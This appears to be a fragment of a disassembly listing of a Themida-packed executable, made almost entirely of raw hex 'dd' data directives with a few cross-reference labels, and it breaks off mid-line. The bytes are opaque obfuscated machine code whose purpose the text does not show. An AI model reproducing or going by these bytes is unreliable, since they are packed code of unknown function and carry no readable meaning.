0A9B52906h dd 0B061408h, 47850FC0h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 970FC352h dd 0B36C0EE1h, 813E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 96F91446h, 0D0FF362Fh dd 0DE9h, 1C744500h, 26E73533h, 2FCC9421h, 958BD18Ch, 6142B15h dd 1BEEB58Bh, 958B0618h, 614157Dh, 225DBD8Bh, 468D0614h dd 71953120h, 6A06140Fh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0BEC35740h, 92FD8E82h dd 0BD898F85h, 6140555h, 0E6BF6650h, 24048974h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 1C35242h, 0CDBBC169h dd 99FE63EAh, 8C0FE3h, 0FF000000h, 181BFE95h, 44E98106h dd 6071B512h, 22298D89h, 0B610614h, 46840FC0h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 14FFC357h, 19A314A0h, 0F1FF6ECh, 583h, 0CF816600h dd 0DE929C5h, 0E8000007h, 6, 57875F4Fh, 95893300h, 614094Dh dd 207E8059h, 0F1840F00h, 29000006h, 140091B5h, 27BF6006h dd 660DA889h, 468DD38Bh, 50006A20h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 5B589FDh, 8906142Bh, 181BEA85h dd 6820F06h, 89000000h, 14199595h, 95895606h, 6141115h dd 14EE95Ah, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 8112B6C3h, 88B260E6h, 52006A40h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 82EC4540h, 14FDBD8Bh, 0B5890614h, 61418E9h, 0ADBA6650h dd 240489E3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 55C35141h, 0BD8B80F7h, 614267Dh, 46AD8B5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 22C35343h, 0EE8A505Eh dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0DF9AC352h, 0B5B531B6h, 0FF06142Eh dd 181BFE95h, 9E906h, 7E540000h, 790802B6h, 8BF8CDB1h dd 0B46056D8h, 8E9C0h, 1E710000h, 0CF97A26h, 59615FA9h dd 2279958Bh, 6A580614h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0D77DC357h, 0FDB0BF9h dd 3384h, 0FABF0F00h, 57BE9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 458A0A8h, 0A8AE93DDh dd 8D895E73h, 6141195h, 0F003880h, 0FFFECB85h, 6E8FFh dd 0E8510000h, 6FEE2B14h, 15E959FCh, 56000000h, 2E89BD89h dd 485F0614h, 5E5958Bh, 51570614h, 5F595951h, 1BEA853Bh dd 820F0618h, 66h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0AAC35141h, 79FDDF27h, 1DA1958Bh, 38800614h dd 37840F5Ch, 29000000h, 1404D9BDh, 2F388006h, 0FFA9850Fh dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0D28130C3h, 56381A7Fh, 23659531h, 6A400614h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0C66DC355h, 809E75C9h, 850F0AD1h, 6, 2D259589h dd 0BD830614h, 6181BF2h, 0B7840F00h, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0F3FBC350h, 52505011h, 0DA21B966h, 0E960310Fh, 0Eh dd 480FDC76h, 98A22C77h, 284ED31h, 0B86633BEh, 5A61AD82h dd 24048958h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 30C35545h, 3F0B3F37h, 0F28503BFh, 6A06181Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 2933C351h, 0FBB30C7Bh, 958B604Ch, 6140ED9h, 5699D89h dd 90610614h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0F156FC3h, 58D6806Bh, 58F18166h dd 0BF046AF0h, 69F8FEAAh, 870F6050h, 2, 0EE9E18Ah, 86000000h dd 7C8344C5h, 51D0956Fh, 0CEEC3169h, 489619Fh, 15858924h dd 0FF061423h, 181BFE95h, 11E85106h, 8A000000h, 5379FA11h dd 0ACC38D6Dh, 0D8293EF9h, 0AE9993F6h, 9E9h, 95B00500h dd 0F37003Bh, 595F977Dh, 6AD88Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 3BD3A0C3h, 0BF0F5856h dd 0FDB0BCEh, 0E84h, 0E1816600h, 19E9D93Ah, 66000003h dd 0C66EC1B9h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0AF37A0C3h, 94617F7Eh, 8BF08A8Ch dd 6A58FBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 5C1381C3h, 5809CDC8h, 5704DD27h, 5FD78B66h dd 1FB5B589h, 50900614h, 8B90D08Bh, 1424E1BDh, 2D8D3106h dd 6A061400h, 51006A1Eh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 1909CC8Eh, 2A21B589h, 66900614h dd 8A50CB8Bh, 6A90D5h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0B2779EC3h, 0BE9h, 6687C800h, 1CA3A928h dd 0EBD82410h, 13E860h, 20D00000h, 206EA06Eh, 87E5475Ch dd 0C7A55F7Dh, 0A1622F02h, 5EF78B8Ah, 16830Fh, 11E90000h dd 0AE000000h, 78850523h, 814748FFh, 19DF63C1h, 0A5D95120h dd 0FE95FF61h, 8B06181Bh, 1401CD8Dh, 0E9D88B06h, 13h, 49857C21h dd 836471F9h, 0DA69185Ch, 0F7D619DDh, 58FC2DCBh, 840FDB0Bh dd 11h, 16F59529h, 0D9E90614h, 8B000001h, 1426118Dh, 880F5006h dd 14h, 6E85250h, 0C000000h, 7F4C0E01h, 310F592Fh, 585A5F51h dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0D34CC355h, 1394AE27h, 0BE8E1h dd 1CD90000h, 88906766h, 0E6D6D686h, 959F9FFh, 14055985h dd 0DEB5FF06h, 6A06181Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 8B51C351h, 0BC39A48Eh dd 0F1FA045h, 883h, 0B70F6000h, 0F18B66D0h, 0E295FF61h dd 6A06181Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0FC9DC356h, 850FC00Bh, 0ADh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 59C35242h, 6612F17Dh dd 613CB0BFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 84C35040h, 3E5E600Fh, 820FCC20h, 4, 3C6EBF66h dd 1BE685C7h, 10618h, 9D890000h, 6142171h, 0B3E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0D01A9835h, 0AE960ECh, 0B4000000h, 9326F904h, 8E212089h dd 0D08A60E2h, 0EE9h, 86483800h, 0AB2CEE96h, 0E19131D4h dd 61DB17C0h, 9E96161h, 73000000h, 19E1089Ah, 295776C2h dd 2F318D29h, 0C6810614h, 11Ch, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 42C35040h, 8D8985BDh, 61415A5h dd 0FFF861E9h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0B44C9D8Eh, 8B8B30FDh dd 0CBBF0FD7h, 0D6DA9168h, 81CB8B7Ch, 5A912434h, 0E2807CD6h dd 0C99589A2h, 6A061414h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 35958B84h dd 0FF06142Dh, 181BEEB5h, 0D6B70F06h, 6CD95FFh, 958B0614h dd 6140045h, 1BE6858Bh, 8A0F0618h, 1, 0BF5090F9h, 185CFDABh dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0B955F672h, 0DEBF66DCh, 0F6858D74h, 6A06181Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0EC10C353h, 75F39Fh, 0E94038A1h, 0Dh, 0A72B5B7Ah dd 39391B67h, 0F3F9ABBFh, 0BA6690AFh, 565032B4h, 0C36AB966h dd 0FA8B905Fh, 8DCB8B66h, 181BB385h, 10E906h, 0BBEF0000h dd 0DE5E8023h, 484709E2h, 0D4A6D23Fh, 609023C2h, 7E8h dd 4D765800h, 2A41A9C6h, 8B0Fh, 0B85A0000h, 599E3AAFh dd 0D68B5061h, 0A6A8BF90h, 95FF5688h, 61431ADh, 0DE9h dd 69A9BE00h, 0DDD051F9h, 0B4C2F707h, 0C08B42DBh, 2FB98589h dd 0B70F0614h, 0B1BD83C8h, 61430h, 0BD830975h, 6141AE1h dd 50137400h, 0B8C08B53h, 4D0h, 0B5759D8Dh, 0D3FF0616h dd 0BD83585Bh, 6141AE1h, 50117400h, 4D0B853h, 9D8D0000h dd 616B474h, 585BD3FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 13C35343h, 0EA76FF86h, 0F58A527Eh, 53006A5Fh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 3268F8D6h, 1592ADE7h, 0D08B66D4h, 6AC08Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0AEC7B1C3h dd 71642F74h, 892E23E9h, 14294585h, 8B515806h, 1402D1BDh dd 8C25F06h, 55B53100h, 906142Ah, 1418E19Dh, 8BC08B06h dd 142A9195h, 0D858D06h, 6A06181Ch, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 6028C351h dd 8B5F5160h, 141BE195h, 858B6106h, 61409A9h, 3D858961h dd 0BA06142Ch, 0F00E1000h, 0EA81h, 0C283F000h, 0F5958914h dd 83061431h, 858D14EAh, 6182F9Eh, 35FF6450h, 0 dd 258964h, 0E8000000h, 0 db 'X+б%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 0F98589C8h, 3061424h, 0B70F3C40h, 95890650h, 61418D1h dd 8950508Bh, 1419A995h, 0F80506h, 508B0000h, 89D1030Ch dd 142B2195h, 8500306h, 31499589h, 8F640614h, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 2309BD83h, 0F000614h, 2484h, 5985C600h, 4706141Ah, 9AA7D268h dd 0D1B5FFD4h, 8D06141Ah, 1780DB85h, 6AD0FF06h, 89D0FF00h dd 14057D85h, 0E8D38B06h, 0Ch, 3633870Bh, 6AC8539Eh, 89CC0E81h dd 1D8B0Fh, 66600000h, 53F8D181h, 11E9h, 78311D00h, 0FDC8ECCBh dd 0FA50C17Ch, 0B5399FB2h, 5F6160F7h, 1890Fh, 81FC0000h dd 5A43C7h, 33C18B00h, 0D18B66F6h, 66370C8Bh, 817F09BBh dd 0CCC0A7E9h, 0E881660Fh, 0F1811177h, 670B925Ch, 880Fh dd 0F1810000h, 6F39D11Ch, 14E9h, 0D41E6F00h, 0D0022EFAh dd 0C958CBA4h, 0A51FA5A7h, 39F8BD87h, 0DF8051A8h, 37048F6Fh dd 81FD8AFCh, 0C24606EEh, 89EA8164h, 813350A6h, 0C24602C6h dd 68F0F64h, 60000000h, 0CBB70FF9h, 70FE8161h, 0FFFFFA6h dd 0FFFF8F85h, 60D18BFFh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 91C35040h, 0E4A3713Eh, 8166F757h, 8BE413C9h dd 1424BDB5h, 8BC08B06h, 0B1BD83CEh, 61430h, 0BD830975h dd 6141AE1h, 50197400h, 0B8C08B53h, 438h, 1A498589h, 9D8D0614h dd 616B73Ah, 585BD3FFh, 1AE1BD83h, 74000614h, 0B8535017h dd 438h, 1A498589h, 9D8D0614h, 616B429h, 585BD3FFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 34C35343h, 70A0900Fh dd 0B5D6D79Fh, 0CE9FEh, 0ED0F0000h, 9D5BB442h, 10D8237h dd 8501F03Dh, 6142A55h, 7AB9C08Bh, 0E82D1837h, 94Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 7FC35646h, 13C4339Dh dd 0FE9h, 712F2700h, 51AA1042h, 5DBE04A3h, 85127284h, 5918589h dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0C89E1DC3h, 0EF76AACFh, 0DAB5FCDCh, 8E7E8h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0AD858966h, 6A061414h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0E5AC353h dd 0E951F157h, 9, 8B1488DEh, 0FCE1F583h, 830F5F34h, 6 dd 369B58Bh, 85E80614h, 89000008h, 140B09BDh, 1858906h dd 6A061416h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0E230C353h, 0E85E189Bh, 854h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0D9C35040h dd 7CA81148h, 14E9h, 0B761E000h, 3E5B3F87h, 89B2B49Bh dd 3419DBC1h, 536AE2D9h, 91858914h, 6A06142Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 78DEC353h, 0D68156EEh, 60649F2Bh, 0E8F78B5Fh, 7E8h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0A0C35040h dd 8A6CF761h, 0A58589E1h, 81061406h, 0AD78FD7h, 7B6E863h dd 0BD8B0000h, 61406B5h, 2E18589h, 8D8B0614h, 6141A41h dd 79FE8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0E2FB7992h, 4FD60C4h, 118E0Fh, 0E9510000h dd 0Ah, 629E3759h, 7FEBE63Ah, 0E959CE74h, 6, 7877B49Eh dd 858900A1h, 6140C4Dh, 1A219501h, 49E80614h, 6A000007h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0A0F4C357h, 5E0DE1B4h, 68C0F01h, 1000000h dd 1405C9BDh, 71858906h, 6A061410h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0DECFC356h dd 6850FE1h, 3000000h, 142BD1BDh, 0D1BD3306h, 0E806140Ah dd 6E0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 77C35343h, 0B9661F3Eh, 85891FE4h, 6140D49h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 50C35545h, 31F31BD1h dd 0BD0BC476h, 6142A1Dh, 0CC88160h, 0B52D05FFh, 81E8614Bh dd 89000006h, 14231985h, 0FE8B6606h, 11E8h, 24C71700h dd 0C833C131h, 0D7605E4Ah, 490F63B1h, 8166E763h, 59EC6DD7h dd 657E8h, 69BD2900h, 2906141Ch, 1408E98Dh, 99858906h dd 6A061430h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0BEC2C357h, 0F99A6AF3h, 2952D6ECh dd 140F9D9Dh, 15E85906h, 6A000006h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 3FB0C356h dd 9D29D28Ah, 6141C75h, 24058D31h, 85890614h, 6140669h dd 5DEE8F8h, 0CE810000h, 3A7A7C8Eh, 220D8589h, 6E90614h dd 0A3000000h, 0CE85EB34h, 0E8F38B56h, 5C0h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F9C35747h, 2AD04842h dd 8950A9C2h, 1423EDB5h, 9D895F06h, 61423E5h, 9E8h, 0DF5D5B00h dd 944FD093h, 0E9521542h, 10h, 0C1661E31h, 0C091AE9Ah dd 0D3C5A67h, 2479F50Bh, 85895E59h, 61400D5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 92C35545h, 260AC873h dd 53EE82Eh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 7902A1C3h, 7987210Bh, 2C958589h dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 7EDC37C3h, 0DEEC218Eh, 8B952C20h, 142C918Dh dd 4E6E806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 8765EEC3h, 8D3591FDh, 89CE8F1Bh dd 14211185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 65273009h, 6A00B0h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 2807B8C3h dd 5E9h, 3428AB00h, 0B60FF8DEh, 0FD9D89D8h, 0BA06141Ch dd 6, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch dd 0D8C35242h, 955BAC05h, 0B3C2C4B4h, 0D459D89h, 0C38B0614h dd 6B5B58Bh, 0E8C10614h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 1F93698h, 1419818Dh, 0E2F76606h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 8EC35040h dd 3363B50Dh, 0E5847EB2h, 2BBECD80h, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0CA151033h dd 5650DBD7h, 2CF7CEB9h, 1C895E3Bh, 0F98B6624h, 2E4595FFh dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 30007C3h, 12F53AEBh, 0EA8A811Eh, 963BEABEh dd 958D5B31h, 6142015h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 25C35242h, 0C27F094Ah, 0AE8h, 73B01300h dd 6B61CC66h, 0FF23982h, 688h, 840F00h, 5F000000h, 800F1A89h dd 0Bh, 58D0Fh, 81660000h, 893216F6h, 0B5BE0442h, 8D7D3628h dd 1414B595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 97565687h, 1261552Eh, 0F98D89D2h dd 89061429h, 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0A19A0288h, 4428992h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 2CC35646h, 381060C1h dd 3092F649h, 0E1D958Dh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 57E4A3C3h, 4F1812F7h dd 292B98CCh, 140C3585h, 661A8906h, 4289FA8Bh, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 541F0E92h, 0F9B70F7Bh, 11718D8Bh, 958D0614h, 61408D5h dd 54D8589h, 1A890614h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 5FC35040h, 63E46FE5h, 8DC58050h, 6A044289h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0A603C353h, 0E1F68BBh, 958DBE82h, 6142A29h dd 1A89F78Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0ACC35747h, 7E856h, 63420000h, 32B99316h, 5FCB8B2Eh dd 442895Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 6CC35242h, 0A5E94ABh, 958DA47Ch, 61406C1h, 10E8h dd 6834E200h, 0C829CEEEh, 857B9010h, 0D72ADFDEh, 1A8959BBh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0EDC35040h dd 8B2CF88Ah, 44289F3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 9BC35343h, 3DDF672Bh, 8BCFF00Eh, 142AF18Dh dd 0B9958D06h, 8B06141Ah, 1411758Dh, 798D8906h, 8906140Ah dd 53006A1Ah, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 30BC6E84h, 0D8895B90h, 0EE99156h, 0B4000000h dd 0AC9ACFB8h, 9DB80286h, 39EC4A46h, 44289B4h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0FFC35747h, 0C43F2AF7h dd 0BEF87AEFh, 13D8E05Dh, 19F5958Dh, 6A0614h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0BB0C03C3h dd 8B6DC96Eh, 6A1A89CEh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 61EFC355h, 0D180B364h dd 44289CCh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 79C35646h, 2FB6D54Ah, 303E6E56h, 0D2E9F5C2h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 6D59C353h, 0C3C2D181h, 890F68B1h, 0Ch, 6820Fh dd 85890000h, 614198Dh, 8B51006Ah, 1412B1BDh, 6A5F06h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B4C35646h dd 82379D5Bh, 0F03D010Dh, 0C840Fh, 850F0000h, 6, 89BD8Bh dd 6A0614h, 61BD8Bh, 6A0614h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 7CC35242h, 0C816B62Ah, 14E8h dd 0BB0FE500h, 81227403h, 0A54F4796h, 41C3D0F7h, 59BC8DBCh dd 8B6660A8h, 61D98BDAh, 7595FF59h, 0B061430h, 141C2DB5h dd 8B66C306h, 6AC58AFEh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 8B87C356h, 140E898Dh dd 91958906h, 8B061423h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0F9CCDEE0h, 0E9E03E1Eh dd 0Bh, 8D48C532h, 0D0720270h, 83A248F4h, 1430B1BDh, 9750006h dd 1AE1BD83h, 74000614h, 8B535019h, 438B8C0h, 85890000h dd 61430C1h, 0B7A19D8Dh, 0D3FF0616h, 0BD83585Bh, 6141AE1h dd 50177400h, 438B853h, 85890000h, 61430C1h, 0B4429D8Dh dd 0D3FF0616h, 6A585Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8926CDC3h, 1430918Dh, 0C8F0F06h dd 0F000000h, 68Bh, 0B1850100h, 89061429h, 140C7585h, 8DC08B06h dd 140F9985h, 2D958906h, 0E806141Ah, 0Ah dword_58C824 dd 4D47346Fh, 6772238Dh, 880F883Ch, 6, 21F99D8Bh, 505F0614h ; DATA XREF: Themida_:0054AED0o ; Themida_:0054BB24o dd 8B665250h, 0F310FDFh, 1986h, 13E800h, 9E2F0000h, 264AA02Ah dd 42B0BCEEh, 8CDCED19h, 76B29BECh, 585A5BC7h, 89240489h dd 1422F1BDh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 2681C355h, 0FEB16ABh dd 33006AE1h, 14166DBDh, 27858D06h, 6A06183Eh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 80FDC355h, 0F8FC05A8h, 0FC3AD4DEh, 8905C083h, 142F45BDh dd 11E95006h, 0F9000000h, 0EE2D55Eh, 9141DE2Fh, 40424191h dd 73F78E9Ch, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 2105C350h, 0BF9B9739h dd 8C0F9B5Dh, 12h, 6E8h db 0 byte_58C915 db 2Ah, 29h, 0Ch ; DATA XREF: Themida_:0054A2D4o dd 8BEBDEF9h, 1422D5BDh, 0F605B06h, 0ABBBDBBFh, 6179ABF9h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 6AD3C3h, 9D58D29h, 95FF0614h, 6141A71h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B3C35545h, 12B2BF0Ah dd 517968C5h, 0FFBF0F50h, 0A8FC8D8Dh, 9D890617h, 61416F5h dd 1C6D8531h, 0D1FF0614h, 71E3BF53h, 835B0041h, 1412CDBDh dd 850F0106h, 5Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 8CC35747h, 0C887FA5Fh, 8B41550Eh, 1402DD9Dh dd 0BB026A06h, 5131C9A7h, 95BF6690h, 60905039h, 12E9C78Bh dd 0C6000000h, 61DBE919h, 3617418h, 7F5CF89Ah, 0EA28D1BFh dd 95FF61B0h, 6140939h, 2B698589h, 0BDE90614h, 0E800000Dh dd 0 dd 31ED815Dh, 8906183Eh, 142B0DB5h, 23858D06h, 0E9061796h dd 0Bh, 0D96E8B71h, 7176E494h, 5026B26Bh, 0BFBF6660h, 11E9D9h dd 0DC1B0000h, 0BA7C4062h, 997DF1AEh, 9ABE0BE0h, 613972F5h dd 6A240489h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0F77C350h, 1A83h, 0EE800h, 22A90000h dd 0B3F3DDA4h, 0A16C4490h, 1A9C8C6Ch, 791BD8Bh, 645F0614h dd 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0DFE9A5C3h, 6CAAAD4Fh, 0B3ACAECFh dd 645B5703h, 2589h, 820F0000h, 6, 77ADD781h, 85FF7D4Fh dd 614236Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 83C35242h, 8B4A23A5h, 140ED1BDh, 6AFF6A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 1EBBC357h, 0E29B3C48h, 91B5FF24h, 0F061405h, 84h, 1995FF00h dd 0E906142Bh, 0FEh, 1D89B531h, 80510614h, 0B05F56CFh dd 70E6F800h, 71E4DA8Bh, 0BD1BD33h, 613C0614h, 0DC830Fh dd 10BB0000h, 0F52D86Ch, 0B60FDBBFh, 0B5BD8BC8h, 0BA061415h dd 6, 0B18D89h, 0C18B0614h, 8B0Fh, 0E8C10000h, 0C1BD8B04h dd 6606142Eh, 0BD33E2F7h, 61424A1h, 9D8BC82Bh, 6141BC1h dd 9CDFEB81h, 0D18B30F1h, 4E9h, 94BF6600h, 15858B3Ch, 8B061420h dd 7C083DAh, 1AFDB589h, 95290614h, 6142C51h, 3B00C083h dd 11830FD0h, 0F000000h, 387h, 0DFBF0F00h, 5DE9h, 0DBBF0F00h dd 1AF98D8Bh, 0DF8B0614h, 0F01E183h, 4984h, 7E800h, 0CC530000h dd 4B967DDCh, 0A5835F4Dh, 6141AF9h, 2820FFEh, 8B000000h dd 159589D8h, 0E8061420h, 0Eh, 3660F7B5h, 664B11BDh, 0F983054h dd 85292734h, 614038Dh, 9D8B535Bh, 6140CB5h, 0E95Fh, 0B58D0000h dd 617C0E5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 8AC35545h, 0BD8B701Fh, 61424A5h, 95FF006Ah, 6141169h dd 7E9h, 89E19800h, 0B471A916h, 16A58531h, 97B90614h, 0E9000007h dd 7, 0EFE4BBD2h, 8B609D1Ah, 1434D19Dh, 0FCE18306h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 8BC35747h, 710952Fh dd 11CF7530h, 6CD78166h, 6AFC59h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 8B66CAC3h, 0B8F8h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 61C18FC3h, 81660646h, 66B0E2DFh, 2B5088BFh, 8B6651D2h dd 33AD5FF9h, 3E8D1C2h, 4E983D0h, 8166F475h, 0D7297CBh dd 88h, 8BFBB70Fh, 14322995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 54BEECFh, 0AA202C3Dh dd 0B1BD0301h, 6606141Dh, 0BAE9F781h, 64D8D8Bh, 6A0614h dd 3E853h, 5B200000h dword_58CD70 dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 48A1B0C3h ; DATA XREF: Themida_:0054A7DCo dd 4F38E649h, 0E185896Ch, 0E9061414h, 8, 0F0C5EAD7h, 157A4A7Ch dd 8B50FB8Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 35C35545h dd 59662652h, 0FA9BD89h, 1EB70614h, 29ADBD83h, 0F000614h dd 6584h, 